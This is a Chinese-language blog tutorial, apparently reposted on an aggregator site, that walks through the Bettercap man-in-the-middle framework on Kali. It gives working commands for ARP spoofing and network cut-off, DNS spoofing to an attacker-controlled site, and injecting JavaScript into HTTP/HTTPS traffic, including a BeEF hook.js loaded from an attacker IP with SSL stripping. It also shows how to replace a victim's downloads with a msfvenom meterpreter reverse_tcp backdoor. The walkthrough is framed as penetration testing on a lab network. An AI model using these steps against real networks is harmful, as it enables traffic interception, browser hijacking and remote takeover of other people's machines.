我是靠谱客的博主 笑点低大象,这篇文章主要介绍强大的中间人攻击工具(Bettercap)前言安装常用功能及模块介绍实战应用,现在分享给大家,希望可以做个参考。

目录

  • 前言
  • 安装
  • 常用功能及模块介绍
  • 实战应用
    • ARP欺骗
    • DNS欺骗
    • 注入脚本
    • 替换下载文件

         ~~~~~~~~         因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。 ​​​​
                                                                                                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                                                                                 ————玛丽亚·杜埃尼亚斯

前言

提到中间人攻击,最知名的莫过于ettercap,这是kali下一款优秀的ARP欺骗工具,但是它自从2015年开始就没有更新了,同时在大型网络环境中ettercap的主机发现以及欺骗功能效果较差,于是就诞生了bettercap。Bettercap是一个非常强大、灵活可移植的中间人攻击框架,它具有跨平台、轻量级以及模块化等优点,在渗透测试过程中能够非常好的进行中间人测试。

安装

在kali命令行下运行

复制代码
1
2
root@kali:~# apt-get install bettercap

在这里插入图片描述
使用如下命令打开bettercap(注意:一般打开就会列出局域网中存活的主机,但是我这儿没有,是因为主机发现模块没有打开,打开就好命令:net.recon on)

复制代码
1
2
root@kali:~# bettercap #开启bettercap,默认是开启的eth0网卡,如果想开启其他网卡,比如无线网卡wlan0,可以bettercap iface wlan0

在这里插入图片描述
使用net.show可以列出局域网存活的主机
在这里插入图片描述
输入help 可以查看bettercap的用法(绿色表示启用,红色表示未启用) help后面跟模块名可以查看模块的详情。比如:help net.recon
在这里插入图片描述在这里插入图片描述

常用功能及模块介绍

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#功能解释 help 模块名称 显示指定模块的帮助 active: 显示当前运行中的模块的信息 quit : 结束会话并退出 sleep 秒数: 休眠指定的秒数(和shell中的sleep一样) get 变量: 获取变量的值 set 变量值 : 设置变量的值(有些模块有自定义变量,比如可用net.sniff.output变量指定嗅探器的输出的保存路径) read 变量提示: 显示提示来让用户输入,输入内容会被储存在变量中 clear: 清屏 include CAPLET: 在当前会话读取并运行这个caplet ! 命令 : 运行相应的shell命令并显示输出 alias MAC地址 别名 给MAC地址设置一个别名 # 常用模块 api.rest: RESTful API模块 net.recon : 主机发现模块,用于发现局域网内存活的主机,默认是开启的 arp.spoof: arp欺骗模块 ble.recon: 低功耗蓝牙设备发现模块 net.sniff : 网络嗅探模块 dhcp6.spoof: dhcp6欺骗模块(通过伪造DHCP数据包篡改客户端的DNS服务器,因此需要与dns.spoof一并启用) dns.spoof: DNS欺骗模块 events.stream: 串流输出模块(就是不断地在终端界面刷出程序的输出,例如arp截获的信息) wifi: wifi模块,有deauth攻击(wifi杀手)和创建软ap的功能

实战应用

ARP欺骗

中间人攻击中最常用的就是ARP欺骗了,接下来我们使用bettercap来进行ARP欺骗,熟悉一下arp.spoof这个模块。
首先输入help arp.spoof 查看下这个模块的帮助信息
在这里插入图片描述
如图所示,英文不好同学的看这里!

复制代码
1
2
3
4
5
6
7
8
9
10
# 状态 arp.spoof on : 开启ARP欺骗 arp.ban on : 开启ARP欺骗,用ban模式,这就意味着目标将不能上网,也就是断网攻击 arp.spoof off : 停止ARP欺骗 arp.ban off : 停止ARP欺骗 # 参数 arp.spoof.internal: 如果为true,那么网络中的计算机之间的本地连接将被欺骗,否则只能连接到来自外部网络(默认为false) arp.spoof.targets: 要欺骗的目标,可以是 ip 、mac 或者 别名 ,也可以支持nmap形式的ip区域 arp.spoof.whitelist: 白名单,就是不欺骗的目标,可以是ip、mac或者别名

对于参数而言,我们可以使用set来设置,使用get来获取

复制代码
1
2
3
set arp.spoof.targets 172.20.10.13 #设置攻击目标,可以是一个网段如:172.20.10.1-20.多个地址使用逗号隔开 get arp.spoof.targets #获取arp.spoof.targets的值

在这里插入图片描述
设置好参数后,我们就可以开启ARP欺骗了:arp.spoof on
在这里插入图片描述
通过net.sniff可以嗅探到目标机的浏览数据
在这里插入图片描述
通过wireshark抓包可以发现大量的来自目标机的流量
在这里插入图片描述
查看目标机的arp缓存表,发现网关的mac已经被修改为kali(攻击机的mac)
在这里插入图片描述

DNS欺骗

DNS欺骗有一个前提,就是局域网内的主机的DNS服务器是局域网的网关,才能进行欺骗。如果是公网的DNS就不行了。
DNS欺骗之前我们需要利用ARP欺骗让目标机认为网关就是我们(攻击机),所以主机就会向我们发送DNS请求,这样就可以进行DNS欺骗了。
首先进行ARP欺骗

复制代码
1
2
3
set arp.spoof.targets 172.20.10.13 arp.spoof on

然后进行DNS欺骗

复制代码
1
2
3
4
set dns.spoof.domains www.sina.com #设置要欺骗的域名,多个域名用逗号隔开,如果要欺骗所有域名用通配符“*” set dns.spoof.address 172.20.10.12 #设置将要欺骗的域名转换成的ip地址(这里可以换成我们自己的服务器,里面写上一个假的网站做些不可描述的东西) dns.spoof on #开启DNS欺骗

如图所示,ping www.sina.com时目标机直接向我们发起请求。打新浪首页进入的是我们自己的网站。
在这里插入图片描述
为了避免代码的重复呢,我们还可以打开bettercap的目录创建一个host文件,文件中存放要欺骗的域名和地址,然后在进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了。
比如我们创建一个host文件如下:
在这里插入图片描述
进行DNS欺骗的时候只需要设置arp.spoof.hosts这个参数就行了

复制代码
1
2
3
set dns.spoof.hosts /root/host #设置欺骗的域名和对应ip dns.spoof on #开启dns欺骗

在这里插入图片描述
在这里插入图片描述

注入脚本

通过进行ARP欺骗,我们可以拦截到流量,自然就可以对拦截到的流量进行操作,我们可以对http协议的数据包进行代理,然后向里面注入恶意脚本。

复制代码
1
2
3
4
5
6
7
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标 arp.spoof on #开启ARP欺骗 set http.proxy.script /root/1.js #注入恶意脚本 set https.proxy.script /root/1.js http.proxy on #开启HTTP代理 https.proxy on

脚本文件1.js如下

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
function onResponse(req,res){ if(res.ContentType.indexOf('text/html')==0){ var body=res.ReadBody(); if(body.indexOf('</head>')!=-1){ res.Body=body.replace( '</head>', '<script type="text/javascript">alert("your computer has hacked!")</script></head>' ); } } }

在这里插入图片描述
当目标机访问一个http或者https协议的站点时,就可以看到脚本已经注入到请求的网站。
在这里插入图片描述
结合beef-xss注入

既然我们可以注入js脚本,那么我们就可以利用beef来对目标浏览器进行控制。

复制代码
1
2
3
4
5
6
7
set arp.spoof.targets 172.20.10.13 #设置arp欺骗的目标 set http.proxy.script /root/test.js #往http流量中注入脚本/root/test.js set http.proxy.sslstrip true #启用SSL剥离 http.proxy on #开启HTTP代理 arp.spoof on #开启ARP欺骗

test.js内容如下:

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
function onResponse(req,res){ if(res.ContentType.indexOf('text/html')==0){ var body=res.ReadBody(); if(body.indexOf('</head>')!=-1){ res.Body=body.replace( '</head>', '<script type="text/javascript" src="http://172.20.10.2:3000/hook.js"></script></head>' ); } } }

beef不晓得传送门在这里——>kali之beef的使用

替换下载文件

在bettercap中,有一种文件后缀叫.cap我们启动bettercap的时候可以指定该.cap文件,就可以按照这个文件还行命令。
比如我们随便创建一个xss.cap文件,内容如下:
在这里插入图片描述
在命令行中输入以下命令就可以加载并执行xss.cap的命令

复制代码
1
2
root@kali:~# bettercap -caplet xss.cap

在这里插入图片描述
使用active可以详细的查看框架的变量及开启的模块
在这里插入图片描述
在新的版本中还加入了caplets,使用caplets.update下载更新后会存储由由开发者编写的各种功能的模块脚本。我们可以通过caplets.show来查看有哪些.cap模块。
在这里插入图片描述
http-req-dump模块,这个模块能够欺骗内网流量走本地透明代理并输出内容。
download-autopwn文件可以保存着一些脚本,我们可以生成自己的一个木马后门放进去然后启用这个文件。当被欺骗着下载任意文件时都会被替换成我们的后门。

复制代码
1
2
3
root@kali:/usr/share/bettercap/caplets/download-autopwn/windows# msfvenom -p windows/meterpreter/reverse_tcp lhost=172.20.10.2 lport=8888 -f exe -o payload.exe root@kali:~# bettercap -caplet download-autopwn/download-autopwn

最后

以上就是笑点低大象最近收集整理的关于强大的中间人攻击工具(Bettercap)前言安装常用功能及模块介绍实战应用的全部内容,更多相关强大内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(70)

评论列表共有 0 条评论

立即
投稿
返回
顶部